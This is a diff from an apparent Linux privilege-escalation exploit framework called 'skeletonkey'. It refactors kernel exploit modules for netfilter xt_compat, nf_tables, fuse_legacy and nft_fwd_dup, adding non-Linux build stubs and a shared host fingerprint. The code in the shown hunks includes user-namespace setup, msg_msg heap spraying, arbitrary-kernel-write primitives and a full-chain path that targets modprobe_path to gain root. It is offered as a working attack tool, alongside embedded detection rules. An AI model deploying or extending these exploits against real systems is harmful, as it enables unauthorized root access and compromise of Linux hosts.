if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] fuse_legacy: already root; nothing to escalate\n");
|
fprintf(stderr, "[i] fuse_legacy: already root; nothing to escalate\n");
|
||||||
}
|
}
|
||||||
@@ -732,7 +727,6 @@ static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ct
|
|||||||
* runs because the arb_write primitive re-fires the trigger and
|
* runs because the arb_write primitive re-fires the trigger and
|
||||||
* needs the live spray.
|
* needs the live spray.
|
||||||
* --------------------------------------------------------------- */
|
* --------------------------------------------------------------- */
|
||||||
#ifdef __linux__
|
|
||||||
if (ctx->full_chain) {
|
if (ctx->full_chain) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] fuse_legacy: --full-chain requested — resolving "
|
fprintf(stderr, "[*] fuse_legacy: --full-chain requested — resolving "
|
||||||
@@ -792,7 +786,6 @@ static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ct
|
|||||||
}
|
}
|
||||||
return SKELETONKEY_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
#endif /* __linux__ */
|
|
||||||
|
|
||||||
/* Clean up our IPC queues and mapping. The kernel slab state
|
/* Clean up our IPC queues and mapping. The kernel slab state
|
||||||
* after the overflow may be unstable; we exit cleanly on success
|
* after the overflow may be unstable; we exit cleanly on success
|
||||||
@@ -826,6 +819,28 @@ static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ct
|
|||||||
return SKELETONKEY_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
/* Non-Linux dev builds: fsopen/fsconfig + userns+mountns clone are
|
||||||
|
* Linux-only kernel surface. Stub out cleanly so the module still
|
||||||
|
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
|
||||||
|
* boxes — and so the top-level `make` actually completes there. */
|
||||||
|
static skeletonkey_result_t fuse_legacy_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] fuse_legacy: Linux-only module "
|
||||||
|
"(fsopen + fsconfig + userns mount) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] fuse_legacy: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
/* ------------------------------------------------------------------ */
|
/* ------------------------------------------------------------------ */
|
||||||
/* embedded detection rules */
|
/* embedded detection rules */
|
||||||
/* ------------------------------------------------------------------ */
|
/* ------------------------------------------------------------------ */
|
||||||
|
|||||||
@@ -58,16 +58,21 @@
|
|||||||
|
|
||||||
#include "skeletonkey_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
|
||||||
#include "../../core/offsets.h"
|
|
||||||
#include "../../core/finisher.h"
|
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <stdint.h>
|
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
#include "../../core/offsets.h"
|
||||||
|
#include "../../core/finisher.h"
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
#include <sched.h>
|
#include <sched.h>
|
||||||
@@ -76,8 +81,6 @@
|
|||||||
#include <sys/socket.h>
|
#include <sys/socket.h>
|
||||||
#include <sys/types.h>
|
#include <sys/types.h>
|
||||||
#include <sys/stat.h>
|
#include <sys/stat.h>
|
||||||
|
|
||||||
#ifdef __linux__
|
|
||||||
#include <sys/ipc.h>
|
#include <sys/ipc.h>
|
||||||
#include <sys/msg.h>
|
#include <sys/msg.h>
|
||||||
#include <sys/syscall.h>
|
#include <sys/syscall.h>
|
||||||
@@ -91,31 +94,6 @@
|
|||||||
#ifndef SOL_IP
|
#ifndef SOL_IP
|
||||||
#define SOL_IP 0
|
#define SOL_IP 0
|
||||||
#endif
|
#endif
|
||||||
#endif
|
|
||||||
|
|
||||||
/* ---------- macOS / non-linux build stubs ---------------------------
|
|
||||||
* SKELETONKEY modules are dev-built on macOS (clangd / syntax check) and
|
|
||||||
* run-built on Linux. The Linux-only types and IPT_SO_SET_REPLACE
|
|
||||||
* constants are absent on Darwin; stub them so the .c file compiles
|
|
||||||
* cleanly under either toolchain. The actual exploit body is gated
|
|
||||||
* by `#ifdef __linux__` at runtime entry. */
|
|
||||||
#ifndef __linux__
|
|
||||||
#define CLONE_NEWUSER 0x10000000
|
|
||||||
#define CLONE_NEWNET 0x40000000
|
|
||||||
#define IPPROTO_RAW 255
|
|
||||||
#define SOL_IP 0
|
|
||||||
#define IPT_SO_SET_REPLACE 64
|
|
||||||
struct ipt_replace { char dummy; };
|
|
||||||
__attribute__((unused)) static int msgget(int a, int b) { (void)a;(void)b; errno=ENOSYS; return -1; }
|
|
||||||
__attribute__((unused)) static int msgsnd(int a, const void *b, size_t c, int d) { (void)a;(void)b;(void)c;(void)d; errno=ENOSYS; return -1; }
|
|
||||||
__attribute__((unused)) static ssize_t msgrcv(int a, void *b, size_t c, long d, int e) { (void)a;(void)b;(void)c;(void)d;(void)e; errno=ENOSYS; return -1; }
|
|
||||||
__attribute__((unused)) static int msgctl(int a, int b, void *c) { (void)a;(void)b;(void)c; errno=ENOSYS; return -1; }
|
|
||||||
#define IPC_PRIVATE 0
|
|
||||||
#define IPC_CREAT 01000
|
|
||||||
#define IPC_NOWAIT 04000
|
|
||||||
#define IPC_RMID 0
|
|
||||||
#define MSG_COPY 040000
|
|
||||||
#endif
|
|
||||||
|
|
||||||
/* ---- Kernel range ------------------------------------------------- */
|
/* ---- Kernel range ------------------------------------------------- */
|
||||||
|
|
||||||
@@ -139,53 +117,44 @@ static const struct kernel_range netfilter_xtcompat_range = {
|
|||||||
|
|
||||||
/* ---- Detect ------------------------------------------------------- */
|
/* ---- Detect ------------------------------------------------------- */
|
||||||
|
|
||||||
static int can_unshare_userns(void)
|
|
||||||
{
|
|
||||||
pid_t pid = fork();
|
|
||||||
if (pid < 0) return -1;
|
|
||||||
if (pid == 0) {
|
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
|
||||||
_exit(1);
|
|
||||||
}
|
|
||||||
int status;
|
|
||||||
waitpid(pid, &status, 0);
|
|
||||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
/* Consult the shared host fingerprint instead of calling
|
||||||
if (!kernel_version_current(&v)) {
|
* kernel_version_current() ourselves — populated once at startup
|
||||||
fprintf(stderr, "[!] netfilter_xtcompat: could not parse kernel version\n");
|
* and identical across every module's detect(). */
|
||||||
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] netfilter_xtcompat: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (v.major < 2 || (v.major == 2 && v.minor < 6)) {
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 2, 6, 0)) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s predates the bug introduction\n",
|
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s predates the bug introduction\n",
|
||||||
v.release);
|
v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&netfilter_xtcompat_range, &v);
|
bool patched = kernel_range_is_patched(&netfilter_xtcompat_range, v);
|
||||||
if (patched) {
|
if (patched) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s is patched\n", v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns();
|
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] netfilter_xtcompat: kernel %s in vulnerable range "
|
fprintf(stderr, "[i] netfilter_xtcompat: kernel %s in vulnerable range "
|
||||||
"(bug existed since 2.6.19, 2006)\n", v.release);
|
"(bug existed since 2.6.19, 2006)\n", v->release);
|
||||||
fprintf(stderr, "[i] netfilter_xtcompat: user_ns+net_ns clone: %s\n",
|
fprintf(stderr, "[i] netfilter_xtcompat: user_ns+net_ns clone: %s\n",
|
||||||
userns_ok == 1 ? "ALLOWED" :
|
userns_ok ? "ALLOWED" : "DENIED");
|
||||||
userns_ok == 0 ? "DENIED" : "could not test");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (userns_ok == 0) {
|
if (!userns_ok) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] netfilter_xtcompat: user_ns denied → "
|
fprintf(stderr, "[+] netfilter_xtcompat: user_ns denied → "
|
||||||
"unprivileged exploit path unreachable\n");
|
"unprivileged exploit path unreachable\n");
|
||||||
@@ -202,8 +171,6 @@ static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_c
|
|||||||
|
|
||||||
/* ---- Exploit: userns reach + trigger + groom ---------------------- */
|
/* ---- Exploit: userns reach + trigger + groom ---------------------- */
|
||||||
|
|
||||||
#ifdef __linux__
|
|
||||||
|
|
||||||
/* Write uid_map and gid_map after unshare so we're root in userns.
|
/* Write uid_map and gid_map after unshare so we're root in userns.
|
||||||
* This is the standard setgroups=deny pattern; without it the uid_map
|
* This is the standard setgroups=deny pattern; without it the uid_map
|
||||||
* write is rejected on modern kernels for unprivileged callers. */
|
* write is rejected on modern kernels for unprivileged callers. */
|
||||||
@@ -471,8 +438,6 @@ static int xtcompat_fire_trigger(int *out_errno)
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
#endif /* __linux__ — close original primitive block */
|
|
||||||
|
|
||||||
/* ---- Full-chain arb-write primitive --------------------------------
|
/* ---- Full-chain arb-write primitive --------------------------------
|
||||||
*
|
*
|
||||||
* Pattern (FALLBACK — see module top-comment): the xt_compat 4-byte OOB
|
* Pattern (FALLBACK — see module top-comment): the xt_compat 4-byte OOB
|
||||||
@@ -509,8 +474,6 @@ static int xtcompat_fire_trigger(int *out_errno)
|
|||||||
* patched kernel the trigger returns EINVAL on step 2 and arb_write
|
* patched kernel the trigger returns EINVAL on step 2 and arb_write
|
||||||
* returns -1 without ever queueing the follow-up. */
|
* returns -1 without ever queueing the follow-up. */
|
||||||
|
|
||||||
#ifdef __linux__
|
|
||||||
|
|
||||||
struct xtcompat_arb_ctx {
|
struct xtcompat_arb_ctx {
|
||||||
/* Spray queues kept hot across multiple arb_write calls. The
|
/* Spray queues kept hot across multiple arb_write calls. The
|
||||||
* msg_msg slots seeded here are what the finisher uses as
|
* msg_msg slots seeded here are what the finisher uses as
|
||||||
@@ -636,15 +599,16 @@ static int xtcompat_arb_write(uintptr_t kaddr,
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
#endif /* __linux__ */
|
|
||||||
|
|
||||||
/* ---- Exploit driver ---------------------------------------------- */
|
/* ---- Exploit driver ---------------------------------------------- */
|
||||||
|
|
||||||
static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
/* 1. Refuse-gate: re-confirm vulnerability through detect(). */
|
/* 1. Refuse-gate: re-confirm vulnerability through detect(). */
|
||||||
skeletonkey_result_t pre = netfilter_xtcompat_detect(ctx);
|
skeletonkey_result_t pre = netfilter_xtcompat_detect(ctx);
|
||||||
if (pre == SKELETONKEY_OK && geteuid() == 0) {
|
/* Consult ctx->host first so unit tests can construct a non-root
|
||||||
|
* fingerprint regardless of the test process's real euid. */
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (pre == SKELETONKEY_OK && is_root) {
|
||||||
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
|
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
@@ -652,7 +616,7 @@ static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_
|
|||||||
fprintf(stderr, "[-] netfilter_xtcompat: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] netfilter_xtcompat: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
if (geteuid() == 0) {
|
if (is_root) {
|
||||||
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
|
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
@@ -661,11 +625,6 @@ static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_
|
|||||||
return SKELETONKEY_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
#ifndef __linux__
|
|
||||||
fprintf(stderr, "[-] netfilter_xtcompat: linux-only exploit; non-linux build\n");
|
|
||||||
(void)ctx;
|
|
||||||
return SKELETONKEY_PRECOND_FAIL;
|
|
||||||
#else
|
|
||||||
/* Full-chain pre-check: resolve offsets before forking. If
|
/* Full-chain pre-check: resolve offsets before forking. If
|
||||||
* modprobe_path can't be resolved, refuse early with the manual-
|
* modprobe_path can't be resolved, refuse early with the manual-
|
||||||
* workflow help — no point doing the userns + spray + trigger
|
* workflow help — no point doing the userns + spray + trigger
|
||||||
@@ -944,7 +903,6 @@ static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_
|
|||||||
fprintf(stderr, "[-] netfilter_xtcompat: child exit %d unexpected\n", rc);
|
fprintf(stderr, "[-] netfilter_xtcompat: child exit %d unexpected\n", rc);
|
||||||
return SKELETONKEY_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
#endif /* __linux__ */
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Cleanup ----------------------------------------------------- */
|
/* ---- Cleanup ----------------------------------------------------- */
|
||||||
@@ -963,6 +921,33 @@ static skeletonkey_result_t netfilter_xtcompat_cleanup(const struct skeletonkey_
|
|||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
/* Non-Linux dev builds: setsockopt(IPT_SO_SET_REPLACE) + nfnetlink +
|
||||||
|
* userns is Linux-only kernel surface. Stub out cleanly so the module
|
||||||
|
* still registers and `--list` / `--detect-rules` work on macOS/BSD
|
||||||
|
* dev boxes — and so the top-level `make` actually completes there. */
|
||||||
|
static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] netfilter_xtcompat: Linux-only module "
|
||||||
|
"(xt_compat_target_to_user via SET_REPLACE) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] netfilter_xtcompat: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t netfilter_xtcompat_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
/* ---- Detection rules --------------------------------------------- */
|
/* ---- Detection rules --------------------------------------------- */
|
||||||
|
|
||||||
static const char netfilter_xtcompat_auditd[] =
|
static const char netfilter_xtcompat_auditd[] =
|
||||||
|
|||||||
@@ -57,16 +57,21 @@
|
|||||||
|
|
||||||
#include "skeletonkey_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
|
||||||
#include "../../core/offsets.h"
|
|
||||||
#include "../../core/finisher.h"
|
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <stdint.h>
|
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
#include "../../core/offsets.h"
|
||||||
|
#include "../../core/finisher.h"
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
#include <sched.h>
|
#include <sched.h>
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
@@ -108,19 +113,6 @@ static const struct kernel_range nf_tables_range = {
|
|||||||
* Preconditions probe
|
* Preconditions probe
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
static int can_unshare_userns(void)
|
|
||||||
{
|
|
||||||
pid_t pid = fork();
|
|
||||||
if (pid < 0) return -1;
|
|
||||||
if (pid == 0) {
|
|
||||||
if (unshare(CLONE_NEWUSER) == 0) _exit(0);
|
|
||||||
_exit(1);
|
|
||||||
}
|
|
||||||
int status;
|
|
||||||
waitpid(pid, &status, 0);
|
|
||||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
static bool nf_tables_loaded(void)
|
static bool nf_tables_loaded(void)
|
||||||
{
|
{
|
||||||
FILE *f = fopen("/proc/modules", "r");
|
FILE *f = fopen("/proc/modules", "r");
|
||||||
@@ -136,44 +128,47 @@ static bool nf_tables_loaded(void)
|
|||||||
|
|
||||||
static skeletonkey_result_t nf_tables_detect(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t nf_tables_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
/* Consult the shared host fingerprint instead of calling
|
||||||
if (!kernel_version_current(&v)) {
|
* kernel_version_current() ourselves — populated once at startup
|
||||||
fprintf(stderr, "[!] nf_tables: could not parse kernel version\n");
|
* and identical across every module's detect(). */
|
||||||
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] nf_tables: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Bug introduced in 5.14. Anything below predates it. */
|
/* Bug introduced in 5.14. Anything below predates it. */
|
||||||
if (v.major < 5 || (v.major == 5 && v.minor < 14)) {
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 14, 0)) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] nf_tables: kernel %s predates the bug "
|
fprintf(stderr, "[i] nf_tables: kernel %s predates the bug "
|
||||||
"(introduced in 5.14)\n", v.release);
|
"(introduced in 5.14)\n", v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&nf_tables_range, &v);
|
bool patched = kernel_range_is_patched(&nf_tables_range, v);
|
||||||
if (patched) {
|
if (patched) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns();
|
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||||
bool nft_loaded = nf_tables_loaded();
|
bool nft_loaded = nf_tables_loaded();
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] nf_tables: kernel %s is in the vulnerable range\n",
|
fprintf(stderr, "[i] nf_tables: kernel %s is in the vulnerable range\n",
|
||||||
v.release);
|
v->release);
|
||||||
fprintf(stderr, "[i] nf_tables: unprivileged user_ns clone: %s\n",
|
fprintf(stderr, "[i] nf_tables: unprivileged user_ns clone: %s\n",
|
||||||
userns_ok == 1 ? "ALLOWED" :
|
userns_ok ? "ALLOWED" : "DENIED");
|
||||||
userns_ok == 0 ? "DENIED" :
|
|
||||||
"could not test");
|
|
||||||
fprintf(stderr, "[i] nf_tables: nf_tables module currently loaded: %s\n",
|
fprintf(stderr, "[i] nf_tables: nf_tables module currently loaded: %s\n",
|
||||||
nft_loaded ? "yes" : "no (will autoload on first nft use)");
|
nft_loaded ? "yes" : "no (will autoload on first nft use)");
|
||||||
}
|
}
|
||||||
|
|
||||||
if (userns_ok == 0) {
|
if (!userns_ok) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] nf_tables: kernel vulnerable but user_ns clone "
|
fprintf(stderr, "[+] nf_tables: kernel vulnerable but user_ns clone "
|
||||||
"denied → unprivileged exploit unreachable\n");
|
"denied → unprivileged exploit unreachable\n");
|
||||||
@@ -618,7 +613,6 @@ static long slabinfo_active(const char *slab)
|
|||||||
* Factored out so --full-chain can re-fire the trigger between
|
* Factored out so --full-chain can re-fire the trigger between
|
||||||
* msg_msg sprays without duplicating the batch-building logic.
|
* msg_msg sprays without duplicating the batch-building logic.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
#ifdef __linux__
|
|
||||||
static size_t build_trigger_batch(uint8_t *batch, size_t cap, uint32_t *seq)
|
static size_t build_trigger_batch(uint8_t *batch, size_t cap, uint32_t *seq)
|
||||||
{
|
{
|
||||||
(void)cap;
|
(void)cap;
|
||||||
@@ -792,7 +786,6 @@ static int nft_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vct
|
|||||||
usleep(20 * 1000);
|
usleep(20 * 1000);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
#endif /* __linux__ */
|
|
||||||
|
|
||||||
/* ------------------------------------------------------------------
|
/* ------------------------------------------------------------------
|
||||||
* The exploit body.
|
* The exploit body.
|
||||||
@@ -807,8 +800,11 @@ static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
|
|||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Gate 2: already root? Nothing to escalate. */
|
/* Gate 2: already root? Nothing to escalate. Consult ctx->host first
|
||||||
if (geteuid() == 0) {
|
* so unit tests can construct a non-root fingerprint regardless of
|
||||||
|
* the test process's real euid. */
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
if (!ctx->json)
|
if (!ctx->json)
|
||||||
fprintf(stderr, "[i] nf_tables: already running as root\n");
|
fprintf(stderr, "[i] nf_tables: already running as root\n");
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
@@ -825,7 +821,6 @@ static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
#ifdef __linux__
|
|
||||||
/* --- --full-chain path --------------------------------------- *
|
/* --- --full-chain path --------------------------------------- *
|
||||||
* Resolve offsets BEFORE doing anything destructive so we can
|
* Resolve offsets BEFORE doing anything destructive so we can
|
||||||
* refuse cleanly on hosts where we have no modprobe_path. We run
|
* refuse cleanly on hosts where we have no modprobe_path. We run
|
||||||
@@ -906,7 +901,6 @@ static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
|
|||||||
close(sock);
|
close(sock);
|
||||||
return r;
|
return r;
|
||||||
}
|
}
|
||||||
#endif
|
|
||||||
|
|
||||||
/* --- primitive-only path: fork-isolated trigger -------------- *
|
/* --- primitive-only path: fork-isolated trigger -------------- *
|
||||||
* Fork: child enters userns+netns and fires the bug. If the
|
* Fork: child enters userns+netns and fires the bug. If the
|
||||||
@@ -1070,6 +1064,28 @@ static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
|
|||||||
return SKELETONKEY_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
/* Non-Linux dev builds: nfnetlink + nf_tables UAF + userns is
|
||||||
|
* Linux-only kernel surface. Stub out cleanly so the module still
|
||||||
|
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
|
||||||
|
* boxes — and so the top-level `make` actually completes there. */
|
||||||
|
static skeletonkey_result_t nf_tables_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] nf_tables: Linux-only module "
|
||||||
|
"(nft_verdict_init UAF via nfnetlink) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] nf_tables: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
/* ----- Embedded detection rules ----- */
|
/* ----- Embedded detection rules ----- */
|
||||||
|
|
||||||
static const char nf_tables_auditd[] =
|
static const char nf_tables_auditd[] =
|
||||||
|
|||||||
@@ -43,16 +43,21 @@
|
|||||||
|
|
||||||
#include "skeletonkey_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
|
||||||
#include "../../core/offsets.h"
|
|
||||||
#include "../../core/finisher.h"
|
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <stdint.h>
|
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/offsets.h"
|
||||||
|
#include "../../core/finisher.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
#include <sched.h>
|
#include <sched.h>
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
@@ -99,19 +104,6 @@ static const struct kernel_range nft_fwd_dup_range = {
|
|||||||
* Probes.
|
* Probes.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
static int can_unshare_userns(void)
|
|
||||||
{
|
|
||||||
pid_t pid = fork();
|
|
||||||
if (pid < 0) return -1;
|
|
||||||
if (pid == 0) {
|
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
|
||||||
